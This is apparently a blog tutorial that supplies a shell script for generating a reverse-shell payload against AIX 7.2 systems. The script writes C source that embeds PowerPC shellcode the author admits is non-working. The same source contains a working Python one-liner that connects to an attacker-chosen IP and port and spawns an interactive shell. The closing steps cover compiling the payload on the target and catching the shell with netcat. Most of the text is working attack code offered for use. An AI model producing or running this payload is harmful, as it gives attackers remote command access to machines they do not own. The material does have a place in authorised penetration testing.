The current msfvenom (metasploit) payloads for AIX are aged and do not work on AIX systems anymore. Here is an example of what is available right now
# ./msfvenom -l payload | grep aix aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
None of the above payloads are usable on modern AIX 7.2 systems. One can elaborate on the following article from 2012 https://www.offensive-security.com/vulndev/aix-shellcode-metasploit/
But in our exercise we will use something much simpler. Since AIX 7.2 with YUM enabled will ship with Python we can create a nice C code that can be compiled on AIX with GCC 8.1.0 and executed there to give us the desired reverse shell.
Following code generator is written to work on a Linux system and is pretty straight forward. Please note it contains the bogus shellcode inside which of course does not work, and I have left it there simply because I have used a C constructor file from another project and was lazy.
clear echo "************************************************************" echo " Automatic shellcode generator - FOR METASPLOIT " echo " For AIX ppc64 testing on AIX 7.2 TL3SP1 " echo " Includes non working ppc reverse shell shellcode soup " echo " i And a working python reverse shell " echo "************************************************************" echo -e "What IP are we gonna use ? \c" read IP echo -e "What Port Number are we gonna listen to? : \c" read port echo '[*] Cleaning up ' rm -f aix-payload.c cat <<EOF > aix-payload.c #include <stdio.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <string.h> #include <sys/mman.h> #include <fcntl.h> #include <sys/socket.h> #include <stdlib.h> #include <errno.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <unistd.h> #include <strings.h> #include <unistd.h> #include <poll.h> #include <pthread.h> #include <stdint.h> unsigned char buf[] = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xc8\x02\xa6\x3b\xde\x01" "\xff\x3b\xde\xfe\x25\x7f\xc9\x03\xa6\x4e\x80\x04\x20\xff\x02" "\x01\xbb\xc0\xa8\x0b\x04\x4c\xc6\x33\x42\x44\xff\xff\x02\x3b" "\xde\xff\xf8\x3b\xa0\x07\xff\x38\x9d\xf8\x02\x38\x7d\xf8\x03" "\x38\x5d\xf8\xf4\x7f\xc9\x03\xa6\x4e\x80\x04\x21\x7c\x7c\x1b" "\x78\x38\xbd\xf8\x11\x38\x9e\xff\xf8\x38\x5d\xf8\xf5\x7f\xc9" "\x03\xa6\x4e\x80\x04\x21\x3b\x7d\xf8\x03\x7f\x63\xdb\x78\x38" "\x5d\xf9\x17\x7f\xc9\x03\xa6\x4e\x80\x04\x21\x7f\x65\xdb\x78" "\x7c\x84\x22\x78\x7f\x83\xe3\x78\x38\x5d\xfa\x93\x7f\xc9\x03" "\xa6\x4e\x80\x04\x21\x37\x7b\xff\xff\x40\x80\xff\xd4\x7c\xa5" "\x2a\x79\x40\x82\xff\xfd\x7f\x08\x02\xa6\x3b\x18\x01\xff\x38" "\x78\xfe\x29\x98\xb8\xfe\x31\x94\xa1\xff\xfc\x94\x61\xff\xfc" "\x7c\x24\x0b\x78\x38\x5d\xf8\x08\x7f\xc9\x03\xa6\x4e\x80\x04" "\x21\x2f\x62\x69\x6e\x2f\x63\x73\x68"; void genlol(); int random_in_range (unsigned int min, unsigned int max); int random_in_range (unsigned int min, unsigned int max) { int base_random = rand(); if (RAND_MAX == base_random){ return random_in_range(min, max); } int range = max - min, remainder = RAND_MAX % range, bucket = RAND_MAX / range; if (base_random < RAND_MAX - remainder) { return min + base_random/bucket; } else { return random_in_range (min, max); } } char* rev(char* str) { int end=strlen(str)-1; int i; for(i=5; i<end; i++) { str[i] ^= 1; } return str; } int main(int argc, char **argv) { system ("/usr/bin/clear"); printf ("==================\n"); printf ("AIX reverse shell \n"); printf ("==================\n"); system("/usr/bin/sleep 1"); printf ("Getting psyched ..\n"); printf("."); fflush(stdout); system("/usr/bin/sleep 1"); printf(".."); fflush(stdout); system("/usr/bin/sleep 1"); printf("..."); fflush(stdout); system("/usr/bin/sleep 1"); printf("...."); printf ("\n[*] Spawning shell\n"); pid_t process_id = 0; pid_t sid = 0; process_id = fork(); if (process_id < 0) { printf("hold on!\n"); exit(1); } if (process_id > 0) { printf("[+] Check the remote host now \n", process_id); exit(0); } void *ptr = mmap(0, 0x2000, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0); memcpy(ptr,buf,sizeof buf); void (*fp)() = (void (*)())ptr; system("/usr/bin/python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CHANGEIP\",CHANGEPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/usr/bin/sh\",\"-i\"]);\'"); fp(); printf ("\n[*] ping..pong\n"); } void genlol(){ int num1, num2, num3; num1=100; while (num1<=5) { num1=random_in_range(0,10000); num2=random_in_range(0,10000); num3=random_in_range(0,10000); printf ("\n[*] ..... \n"); } } EOF sed -i "s/CHANGEIP/$IP/g" aix-payload.c sed -i "s/CHANGEPORT/$port/g" aix-payload.c if [ -f ./aix-payload.c ]; then echo '[*] aix-payoad.c generated ...' ls -la aix-payload.c echo '[*] Now upload the aix-payload.c to AIX machine and compile with gcc aix-payload.c -o aix-payload' echo '[*] And on the attacker machine start netcat listener on TCP port we have chosen above' else echo '[-] Something went wrong .. ' exit 0 fi
Once we run the above script we need to transfer the source code it generates (aix-payload.c) to the AIX 7.2 system and compile it there
On our attacker machine you need to have Netcat installed we just call it and listen for incoming TCP connection on the port we have defined in the generator case
Next we execute the compiled aix-payload binary on the target AIX 7.2 machine
And check the reverse shell pop-up on our netcat listener
And that is it. Simple exercise (and please excuse my C code )